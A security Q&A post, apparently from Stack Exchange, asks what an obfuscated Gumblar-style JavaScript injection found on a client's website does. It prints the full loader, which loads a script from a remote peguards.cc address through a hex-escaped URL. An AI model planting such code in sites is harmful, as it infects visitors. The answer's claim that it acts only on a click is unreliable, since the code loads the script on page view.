Malicious JavaScript -- Troj/JSRedir -- Gumblar

Question

I have a client with a website receiving AV warnings from Microsoft Security Essentials. A further investigation revealed that the site is blacklisted by Yandex.com, due to a report that the site contains malicious javascript. Specifically: Troj/JSRedir-HP (Gumblar)

I have removed this code from his site as it was located on the page which was receiving the warnings. At this point, we don't know if this was an external injection, or perhaps legitimate code that his web developer may have inserted.

Any ideas on what this might be doing?

<script type="text/javascript" language="javascript">
document.write('<' + 'script type="text/javascript" language="javascript" id="aoc262540n"></' + 'script>');
var j = document.getElementById("aoc262540n");
var s = document.location.host;
var s1 = "";
var qcl2q = 10;
for (var i = 0; i < s.length; i++) {
    var r8j8tnwtk76gj = s.charCodeAt(i) + qcl2q;
    r8j8tnwtk76gj = 65 + (r8j8tnwtk76gj % 57);
    s1 += String.fromCharCode(r8j8tnwtk76gj);
    qcl2q = s.charCodeAt(i);
}
s1 = s1.replace(/[^a-zA-Z0-9]/g, "");
if (document.cookie.indexOf("google_api=1;") == -1) {
    j.src = "\x68\x74t\x70\x3a\x2f\x2f" + s1 + ".\x70\x65\x67\x75\x61r\x64\x73.cc\x2f\x38\x39d\x38\x31\x6207iq\x2f\x67\x65\x74.\x6a\x73";
}
delete s;
delete s1;
</script>

Answer 1

j.src = "\x68\x74t\x70\x3a\x2f\x2f" + s1 + ".\x70\x65\x67\x75\x61r\x64\x73.cc\x2f\x38\x39d\x38\x31\x6207iq\x2f\x67\x65\x74.\x6a\x73";

The line above is trying to create a URL.

For http://security.stackexchange.com/ it creates

http://LnnDqsJvpDkZdfsqaekbbhr.peguards.cc/89d81b07iq/get.js

It then writes this URL to the website to redirect the users to the URL if the user clicks on it. The website seems like a malware website.